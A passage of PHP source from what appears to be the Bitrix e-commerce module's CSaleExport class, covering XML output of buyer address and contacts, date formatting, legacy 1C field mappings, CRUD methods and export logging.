<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_BUILDING")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_BUILDING"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_FLAT"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_FLAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_FLAT"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<?
}
if(strlen($agent["PHONE"])>0 || strlen($agent["EMAIL"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTACTS")?>>
<?
if(strlen($agent["PHONE"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=(self::getVersionSchema() > self::DEFAULT_VERSION ? CSaleExport::getTagName("SALE_EXPORT_WORK_PHONE_NEW") : CSaleExport::getTagName("SALE_EXPORT_WORK_PHONE"))?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["PHONE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
<?
}
if(strlen($agent["EMAIL"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=(self::getVersionSchema() > self::DEFAULT_VERSION ? CSaleExport::getTagName("SALE_EXPORT_MAIL_NEW") : CSaleExport::getTagName("SALE_EXPORT_MAIL"))?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["EMAIL"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
<?
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTACTS")?>>
<?
}
if(strlen($agent["CONTACT_PERSON"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_REPRESENTATIVES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_REPRESENTATIVE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_RELATION")?>><?=CSaleExport::getTagName("SALE_EXPORT_CONTACT_PERSON")?></<?=CSaleExport::getTagName("SALE_EXPORT_RELATION")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=md5($agent["CONTACT_PERSON"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($agent["CONTACT_PERSON"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_REPRESENTATIVE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_REPRESENTATIVES")?>>
<?
}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>><?=CSaleExport::getTagName("SALE_EXPORT_BUYER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENTS")?>>
<?
$filedsTolog = array(
'ENTITY_ID' => $arOrder["USER_ID"],
'PARENT_ID' => $arOrder['ID'],
'ENTITY_DATE_UPDATE' => new \Bitrix\Main\Type\DateTime(\CAllDatabase::FormatDate($arOrder["SALE_INTERNALS_ORDER_USER_TIMESTAMP_X"])),
'XML_ID' => $xmlId
);
static::$documentsToLog[\Bitrix\Sale\Exchange\EntityType::USER_PROFILE][] = $filedsTolog;
}
public static function getFormatDate($value)
{
if(!is_set($value))
return null;
$setValue = $value;
if (($value instanceof DateTime)
|| ($value instanceof \Bitrix\Main\Type\Date))
{
$setValue = $value->toString();
}
/** @var \Bitrix\Main\Type\DateTime $time */
$time = new Bitrix\Main\Type\DateTime($setValue);
if(self::getVersionSchema() >= self::PARTIAL_VERSION )
$format = 'Y-m-d\TH:i:s';
else
$format = 'd.m.Y H:i:s';
return $time->format($format);
}
public static function isFormattedDateFields($type, $field)
{
$formattedDateFields = self::getFormattedDateFields();
return in_array($field, $formattedDateFields[$type]);
}
public static function getFormattedDateFields()
{
return array(
'Order' => array(
'DATE_PAYED',
'DATE_CANCELED',
'DATE_STATUS',
'DATE_ALLOW_DELIVERY',
),
'Shipment' => array(
'DATE_ALLOW_DELIVERY',
'DATE_DEDUCTED',
'DATE_CANCELED',
),
'Payment' => array(
'DATE_PAID',
),
);
}
/** @deprecated */
private static $systemCodes = array(
// !!! Make sure these codes are in sync with system codes in BusinessValueConsumer1C !!!
// 'new bizval name' => 'old 1c name'
BusinessValue::INDIVIDUAL_DOMAIN => array(
'BUYER_PERSON_NAME' => 'FULL_NAME' ,
'BUYER_PERSON_NAME_FIRST' => 'NAME' ,
'BUYER_PERSON_NAME_SECOND' => 'SECOND_NAME' ,
'BUYER_PERSON_NAME_LAST' => 'SURNAME' ,
'BUYER_PERSON_NAME_AGENT' => 'AGENT_NAME' ,
'BUYER_PERSON_NAME_CONTACT' => 'CONTACT_PERSON',
'BUYER_PERSON_BIRTHDAY' => 'BIRTHDAY' ,
'BUYER_PERSON_GENDER' => 'MALE' ,
'BUYER_PERSON_INN' => 'INN' ,
'BUYER_PERSON_KPP' => 'KPP' ,
'BUYER_PERSON_ADDRESS' => 'ADDRESS_FULL' ,
'BUYER_PERSON_ZIP' => 'INDEX' ,
'BUYER_PERSON_COUNTRY' => 'COUNTRY' ,
'BUYER_PERSON_REGION' => 'REGION' ,
'BUYER_PERSON_STATE' => 'STATE' ,
'BUYER_PERSON_TOWN' => 'TOWN' ,
'BUYER_PERSON_CITY' => 'CITY' ,
'BUYER_PERSON_STREET' => 'STREET' ,
'BUYER_PERSON_HOUSING' => 'BUILDING' ,
'BUYER_PERSON_BUILDING' => 'HOUSE' ,
'BUYER_PERSON_APARTMENT' => 'FLAT' ,
'BUYER_PERSON_PHONE' => 'PHONE' ,
'BUYER_PERSON_EMAIL' => 'EMAIL' ,
'BUYER_PERSON_F_ADDRESS_FULL'=> 'F_ADDRESS_FULL',
'BUYER_PERSON_F_INDEX' => 'F_INDEX' ,
'BUYER_PERSON_F_COUNTRY' => 'F_COUNTRY' ,
'BUYER_PERSON_F_REGION' => 'F_REGION' ,
'BUYER_PERSON_F_STATE' => 'F_STATE' ,
'BUYER_PERSON_F_TOWN' => 'F_TOWN' ,
'BUYER_PERSON_F_CITY' => 'F_CITY' ,
'BUYER_PERSON_F_STREET' => 'F_STREET' ,
'BUYER_PERSON_F_BUILDING' => 'F_BUILDING' ,
'BUYER_PERSON_F_HOUSE' => 'F_HOUSE' ,
'BUYER_PERSON_F_FLAT' => 'F_FLAT' ,
),
BusinessValue::ENTITY_DOMAIN => array(
'BUYER_COMPANY_NAME' => 'FULL_NAME' ,
'BUYER_COMPANY_NAME_AGENT' => 'AGENT_NAME' ,
'BUYER_COMPANY_NAME_CONTACT' => 'CONTACT_PERSON',
'BUYER_COMPANY_INN' => 'INN' ,
'BUYER_COMPANY_KPP' => 'KPP' ,
'BUYER_COMPANY_ADDRESS' => 'ADDRESS_FULL' ,
'BUYER_COMPANY_ZIP' => 'INDEX' ,
'BUYER_COMPANY_COUNTRY' => 'COUNTRY' ,
'BUYER_COMPANY_REGION' => 'REGION' ,
'BUYER_COMPANY_STATE' => 'STATE' ,
'BUYER_COMPANY_TOWN' => 'TOWN' ,
'BUYER_COMPANY_CITY' => 'CITY' ,
'BUYER_COMPANY_STREET' => 'STREET' ,
'BUYER_COMPANY_HOUSING' => 'BUILDING' ,
'BUYER_COMPANY_BUILDING' => 'HOUSE' ,
'BUYER_COMPANY_APARTMENT' => 'FLAT' ,
'BUYER_COMPANY_PHONE' => 'PHONE' ,
'BUYER_COMPANY_EMAIL' => 'EMAIL' ,
'BUYER_COMPANY_EGRPO' => 'EGRPO' ,
'BUYER_COMPANY_OKVED' => 'OKVED' ,
'BUYER_COMPANY_OKDP' => 'OKDP' ,
'BUYER_COMPANY_OKOPF' => 'OKOPF' ,
'BUYER_COMPANY_OKFC' => 'OKFC' ,
'BUYER_COMPANY_OKPO' => 'OKPO' ,
'BUYER_COMPANY_BANK_ACCOUNT' => 'ACCOUNT_NUMBER',
'BUYER_COMPANY_BANK_NAME' => 'B_NAME',
'BUYER_COMPANY_BANK_BIK' => 'B_BIK',
'BUYER_COMPANY_BANK_ADDRESS_FULL' => 'B_ADDRESS_FULL',
'BUYER_COMPANY_BANK_INDEX' => 'B_INDEX',
'BUYER_COMPANY_BANK_COUNTRY' => 'B_COUNTRY',
'BUYER_COMPANY_BANK_REGION' => 'B_REGION',
'BUYER_COMPANY_BANK_STATE' => 'B_STATE',
'BUYER_COMPANY_BANK_TOWN' => 'B_TOWN',
'BUYER_COMPANY_BANK_CITY' => 'B_CITY',
'BUYER_COMPANY_BANK_STREET' => 'B_STREET',
'BUYER_COMPANY_BANK_BUILDING' => 'B_BUILDING',
'BUYER_COMPANY_BANK_HOUSE' => 'B_HOUSE',
'BUYER_COMPANY_F_ADDRESS_FULL'=> 'F_ADDRESS_FULL',
'BUYER_COMPANY_F_INDEX' => 'F_INDEX' ,
'BUYER_COMPANY_F_COUNTRY' => 'F_COUNTRY' ,
'BUYER_COMPANY_F_REGION' => 'F_REGION' ,
'BUYER_COMPANY_F_STATE' => 'F_STATE' ,
'BUYER_COMPANY_F_TOWN' => 'F_TOWN' ,
'BUYER_COMPANY_F_CITY' => 'F_CITY' ,
'BUYER_COMPANY_F_STREET' => 'F_STREET' ,
'BUYER_COMPANY_F_BUILDING' => 'F_BUILDING' ,
'BUYER_COMPANY_F_HOUSE' => 'F_HOUSE' ,
'BUYER_COMPANY_F_FLAT' => 'F_FLAT' ,
),
);
function GetList($order = Array("ID" => "DESC"), $filter = Array(), $group = false, $arNavStartParams = false, $select = array())
{
if (! ($select && is_array($select)))
$select = array("ID", "PERSON_TYPE_ID", "VARS");
$select = array_flip($select);
$personTypes = BusinessValue::getPersonTypes();
if ($filter && is_array($filter))
{
if ($filter['PERSON_TYPE_ID'])
{
if (! is_array($filter['PERSON_TYPE_ID']))
$filter['PERSON_TYPE_ID'] = array($filter['PERSON_TYPE_ID']);
$personTypes = array_intersect_key($personTypes, array_flip($filter['PERSON_TYPE_ID']));
}
if (isset($filter['ID']))
{
$personTypes = isset($personTypes[$filter['ID']])
? array($filter['ID'] => $personTypes[$filter['ID']])
: array();
}
}
$rows = array();
if ($personTypes
&& ($consumers = BusinessValue::getConsumers())
&& ($consumer = $consumers[BusinessValueConsumer1C::CONSUMER_KEY])
&& is_array($consumer)
&& ($codes = $consumer['CODES'])
&& is_array($codes))
{
foreach ($personTypes as $personTypeId => $personType)
{
$systemCodes = self::$systemCodes[$personType['DOMAIN']];
$vars = array();
foreach ($codes as $codeKey => $code)
{
if ($mapping = BusinessValue::getMapping($codeKey, BusinessValueConsumer1C::CONSUMER_KEY, $personTypeId, array('GET_VALUE' => array('PROPERTY' => 'BY_ID'))))
{
$mapping1C = array('VALUE' => $mapping['PROVIDER_VALUE']);
switch ($mapping['PROVIDER_KEY'])
{
case 'VALUE':
$mapping1C['TYPE'] = '';
break;
case 'USER':
case 'ORDER':
case 'PROPERTY':
case 'COMPANY':
case 'PAYMENT':
case 'SHIPMENT':
$mapping1C['TYPE'] = $mapping['PROVIDER_KEY'];
break;
default: continue; // other types aren't present in old version
}
if (isset($code['CODE_INDEX']))
{
$codeKey1C = 'REKV_'.$code['CODE_INDEX'];
$mapping1C['NAME'] = $code['NAME'];
}
else
{
$codeKey1C = $systemCodes[$codeKey];
}
$vars[$codeKey1C] = $mapping1C;
}
}
if ($vars)
{
$vars['IS_FIZ'] = $personTypes[$personTypeId]['DOMAIN'] === BusinessValue::INDIVIDUAL_DOMAIN ? 'Y' : 'N';
$rows []= array_intersect_key(array(
'ID' => $personTypeId,
'PERSON_TYPE_ID' => $personTypeId,
'VARS' => serialize($vars),
), $select);
}
}
}
if (! $group && is_array($group))
{
return count($rows);
}
else
{
$result = new CDBResult();
$result->InitFromArray($rows);
return $result;
}
}
/**
* @param \Bitrix\Sale\IBusinessValueProvider $entity
* @return array
*/
static protected function getProvidersInstanceByEntity(\Bitrix\Sale\IBusinessValueProvider $entity)
{
$providersInstance = array(
'ORDER' => self::getProviderInstanceByProviderCode($entity, 'ORDER' ),
'USER' => self::getProviderInstanceByProviderCode($entity, 'USER' ),
'COMPANY' => self::getProviderInstanceByProviderCode($entity, 'COMPANY' ),
'SHIPMENT' => self::getProviderInstanceByProviderCode($entity, 'SHIPMENT' ),
'PAYMENT' => self::getProviderInstanceByProviderCode($entity, 'PAYMENT' ),
'PROPERTY' => self::getProviderInstanceByProviderCode($entity, 'PROPERTY' ),
);
return $providersInstance;
}
/**
* @deprecated
* @param \Bitrix\Sale\Order $order
* @return array
*/
protected function getProvidersInstanceByOrder(Bitrix\Sale\Order $order)
{
static $providersInstance = array();
if(! is_set($providersInstance, $order->getId()))
{
$providersInstance[$order->getId()] = self::getProvidersInstanceByEntity($order);
}
return $providersInstance;
}
static protected function getProviderInstanceByProviderCode(\Bitrix\Sale\IBusinessValueProvider $entity, $providerCode)
{
$providerInstance = null;
$order = null;
/** @var \Bitrix\Sale\Order $order */
if($entity instanceof \Bitrix\Sale\Order)
$order = $entity;
else
{
/** @var \Bitrix\Sale\PaymentCollection|\Bitrix\Sale\ShipmentCollection $collection */
$collection = $entity->getCollection();
$order = $collection->getOrder();
}
switch($providerCode)
{
case 'ORDER':
case 'USER':
case 'PROPERTY':
$providerInstance = $order;
break;
case 'COMPANY':
$providerInstance = $entity;
break;
case 'PAYMENT':
if($order instanceof \Bitrix\Sale\Order)
{
$collection = $order->getPaymentCollection();
foreach($collection as $payment)
{
$providerInstance = $payment;
break;
}
}
else
$providerInstance = $entity;
break;
case 'SHIPMENT':
if($order instanceof \Bitrix\Sale\Order)
{
$collection = $order->getShipmentCollection();
foreach($collection as $shipment)
{
$providerInstance = $shipment;
break;
}
}
else
$providerInstance = $entity;
break;
}
return $providerInstance;
}
function GetByID($ID)
{
$ID = IntVal($ID);
if (isset($GLOBALS["SALE_EXPORT"]["SALE_EXPORT_CACHE_".$ID]) && is_array($GLOBALS["SALE_EXPORT"]["SALE_EXPORT_CACHE_".$ID]) && is_set($GLOBALS["SALE_EXPORT_CACHE_".$ID], "ID"))
{
return $GLOBALS["SALE_EXPORT"]["SALE_EXPORT_CACHE_".$ID];
}
else
{
$dbResult = self::GetList(array(), array('ID' => $ID));
if ($arResult = $dbResult->Fetch())
{
$GLOBALS["SALE_EXPORT"]["SALE_EXPORT_CACHE_".$ID] = $arResult;
return $arResult;
}
}
return False;
}
/** @deprecated */
private static function logError($itemId, $message, Bitrix\Main\Result $result = null)
{
if ($result)
$message .= "\n".implode("\n", $result->getErrorMessages());
CEventLog::Add(array(
'SEVERITY' => 'ERROR',
'AUDIT_TYPE_ID' => 'SALE_1C_TO_BUSINESS_VALUE_ERROR',
'MODULE_ID' => 'sale',
'ITEM_ID' => $itemId,
'DESCRIPTION' => $message,
));
}
/** @deprecated */
private static function setMap($personTypeId, array $map1C, $itemId)
{
BusinessValue::INDIVIDUAL_DOMAIN; // make sure BusinessValueCode1CTable loaded since it in the same file as BusinessValue
BusinessValueConsumer1C::getConsumers(); // initialize 1C codes
$personTypes = BusinessValue::getPersonTypes();
if (! $personType = $personTypes[$personTypeId])
{
self::logError($itemId, 'Undefined DOMAIN for person type id "'.$personTypeId.'"');
return;
}
$systemCodes1C = array_flip(self::$systemCodes[$personType['DOMAIN']]);
foreach ($map1C as $codeKey1C => $mapping1C)
{
if ($codeKey1C && is_array($mapping1C))
{
if (! $mapping1C['VALUE'])
continue; // TODO maybe??
$mapping = array('PROVIDER_VALUE' => $mapping1C['VALUE']);
if (! ($codeKey = $systemCodes1C[$codeKey1C])
&& substr($codeKey1C, 0, 5) === 'REKV_'
&& ($codeIndex = substr($codeKey1C, 5)) !== ''
&& $mapping1C['NAME'])
{
$codeKey = BusinessValueConsumer1C::getRekvCodeKey($personTypeId, $codeIndex);
$mapping['NAME'] = $mapping1C['NAME'];
}
if (! $codeKey)
continue;
switch ($mapping1C['TYPE'])
{
case '':
$mapping['PROVIDER_KEY'] = 'VALUE';
break;
case 'USER':
case 'ORDER':
case 'PROPERTY':
$mapping['PROVIDER_KEY'] = $mapping1C['TYPE'];
break;
default: continue; // other types should not be there
}
$r = BusinessValueConsumer1C::setMapping($codeKey, $personTypeId, $mapping);
if (! $r->isSuccess())
self::logError($itemId, 'Cannot set mapping with code key "'.$codeKey.'"', $r);
}
}
}
/** @deprecated */
public static function migrateToBusinessValues()
{
$allPersonTypes = BusinessValue::getPersonTypes(true);
Bitrix\Main\Application::getConnection()->query('DELETE FROM b_sale_bizval_code_1c');
$result = Bitrix\Main\Application::getConnection()->query('SELECT * FROM b_sale_export');
while ($row = $result->fetch())
{
if (! (($map1C = unserialize($row['VARS'])) && is_array($map1C)))
continue;
$personTypeId = $row['PERSON_TYPE_ID'];
$domain = $map1C['IS_FIZ'] === 'Y' ? BusinessValue::INDIVIDUAL_DOMAIN : BusinessValue::ENTITY_DOMAIN;
unset($map1C['IS_FIZ']);
if (! isset($allPersonTypes[$personTypeId]))
{
self::logError($row['ID'], 'Undefined person type "'.$personTypeId.'"');
continue;
}
elseif (isset($allPersonTypes[$personTypeId]['DOMAIN']))
{
if ($allPersonTypes[$personTypeId]['DOMAIN'] !== $domain)
{
self::logError($row['ID'], 'Person type "'.$personTypeId.'" domain is "'.$allPersonTypes[$personTypeId]['DOMAIN'].'", but in 1C is "'.$domain.'"');
continue;
}
}
else
{
$r = Bitrix\Sale\Internals\BusinessValuePersonDomainTable::add(array(
'PERSON_TYPE_ID' => $personTypeId,
'DOMAIN' => $domain,
));
if ($r->isSuccess())
{
$allPersonTypes[$personTypeId]['DOMAIN'] = $domain;
BusinessValue::getPersonTypes(true, $allPersonTypes);
}
else
{
self::logError($row['ID'], 'Unable to set person type "'.$personTypeId.'" domain', $r);
continue;
}
}
self::setMap($personTypeId, $map1C, 'Migrate:'.$personTypeId.':'.$row['ID']);
}
}
function CheckFields($ACTION, &$arFields, $ID = 0)
{
if ((is_set($arFields, "PERSON_TYPE_ID") || $ACTION=="ADD") && IntVal($arFields["PERSON_TYPE_ID"]) <= 0)
{
$GLOBALS["APPLICATION"]->ThrowException(GetMessage("SALE_EXPORT_NO_PERSON_TYPE_ID"), "EMPTY_PERSON_TYPE_ID");
return false;
}
if (is_set($arFields, "PERSON_TYPE_ID"))
{
$arResult = CSalePersonType::GetByID($arFields["PERSON_TYPE_ID"]);
if (!$arResult)
{
$GLOBALS["APPLICATION"]->ThrowException(str_replace("#ID#", $arFields["PERSON_TYPE_ID"], GetMessage("SALE_EXPORT_ERROR_PERSON_TYPE_ID")), "ERROR_NO_PERSON_TYPE_ID");
return false;
}
}
return True;
}
function Add($arFields)
{
if (! CSaleExport::CheckFields('ADD', $arFields))
return false;
foreach ($arFields as $key => $value)
{
if (substr($key, 0, 1) == "=")
{
$arFields[substr($key, 1)] = $value;
unset($arFields[$key]);
}
}
if (($map1C = unserialize($arFields['VARS'])) && is_array($map1C))
{
self::setMap($arFields['PERSON_TYPE_ID'], $map1C, 'Add:'.$arFields['PERSON_TYPE_ID']);
}
return $arFields['PERSON_TYPE_ID'];
}
function Update($ID, $arFields)
{
$ID = IntVal($ID);
if (! CSaleExport::CheckFields('UPDATE', $arFields, $ID))
return false;
foreach ($arFields as $key => $value)
{
if (substr($key, 0, 1) == "=")
{
$arFields[substr($key, 1)] = $value;
unset($arFields[$key]);
}
}
if (($map1C = unserialize($arFields['VARS'])) && is_array($map1C))
{
self::setMap($arFields['PERSON_TYPE_ID'], $map1C, 'Update:'.$arFields['PERSON_TYPE_ID'].':'.$ID);
}
return $arFields['PERSON_TYPE_ID'];
}
static function deleteREKV($typeId)
{
$r = new \Bitrix\Main\Result();
$res = \Bitrix\Sale\Internals\BusinessValueCode1CTable::getList(array(
'select'=>array('CODE_INDEX', 'PERSON_TYPE_ID'),
'filter'=>array('PERSON_TYPE_ID'=>$typeId)
));
while($row=$res->fetch())
{
$r = \Bitrix\Sale\Internals\BusinessValueCode1CTable::delete(array(
'PERSON_TYPE_ID' => $row['PERSON_TYPE_ID'],
'CODE_INDEX' => $row['CODE_INDEX'],
));
if($r->isSuccess())
{
$r = \Bitrix\Sale\Internals\BusinessValueTable::delete(array(
'CODE_KEY' => BusinessValueConsumer1C::getRekvCodeKey($row['PERSON_TYPE_ID'], $row['CODE_INDEX']),
'CONSUMER_KEY' => BusinessValueConsumer1C::CONSUMER_KEY,
'PERSON_TYPE_ID' => $row['PERSON_TYPE_ID'],
));
}
}
return $r;
}
function Delete($ID)
{
$ID = IntVal($ID);
unset($GLOBALS["SALE_EXPORT"]["SALE_EXPORT_CACHE_".$ID]);
BusinessValue::INDIVIDUAL_DOMAIN; // make sure BusinessValueCode1CTable loaded since it in the same file as BusinessValue
$consumers = BusinessValueConsumer1C::getConsumers(); // initialize 1C codes
$consumer = $consumers[BusinessValueConsumer1C::CONSUMER_KEY];
if (is_array($consumer['CODES']))
{
foreach ($consumer['CODES'] as $codeKey => $code)
{
if(!isset($code['CODE_INDEX']))
{
BusinessValueConsumer1C::setMapping($codeKey, $ID, array());
}
}
}
return new CDBResult();
}
/**
* @param $name
*
* @return string
*/
public static function getTagName($name)
{
if (static::$lid === null)
{
static::setLanguage(LANGUAGE_ID);
}
static $lang = array();
if (empty($lang[static::$lid]))
{
$lang[static::$lid] = \Bitrix\Main\Localization\Loc::loadLanguageFile($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/general/export.php', static::$lid);
}
if (array_key_exists($name, $lang[static::$lid]) && strval(trim($lang[static::$lid][$name])) !== '')
{
$value = $lang[static::$lid][$name];
}
else
{
$value = \Bitrix\Main\Localization\Loc::getMessage($name);
}
return $value;
}
/**
* @param array $fields
* @return \Bitrix\Main\Entity\AddResult
* @deprecated
*/
static public function log(array $fields)
{
$params['ENTITY_ID'] = $fields['ENTITY_ID'];
$params['ENTITY_TYPE_ID'] = $fields['ENTITY_TYPE_ID'];
$params['DIRECTION'] = \Bitrix\Sale\Exchange\ManagerExport::getDirectionType();
if (strlen($fields['XML_ID'])>0)
$params['XML_ID'] = $fields['XML_ID'];
if (strlen($fields['ENTITY_DATE_UPDATE'])>0)
$params['ENTITY_DATE_UPDATE'] = $fields['ENTITY_DATE_UPDATE'];
if (intval($fields['PARENT_ID'])>0)
$params['PARENT_ID'] = $fields['PARENT_ID'];
if (intval($fields['OWNER_ENTITY_ID'])>0)
$params['OWNER_ENTITY_ID'] = $fields['OWNER_ENTITY_ID'];
if (strlen($fields['MARKED'])>0)
$params['MARKED'] = $fields['MARKED'];
$params['MESSAGE'] = \Bitrix\Sale\Exchange\Internals\LoggerDiag::isOn()? $fields['MESSAGE']:null;
$params['DATE_INSERT'] = new \Bitrix\Main\Type\DateTime();
return \Bitrix\Sale\Exchange\Internals\ExchangeLogTable::add($params);
}
}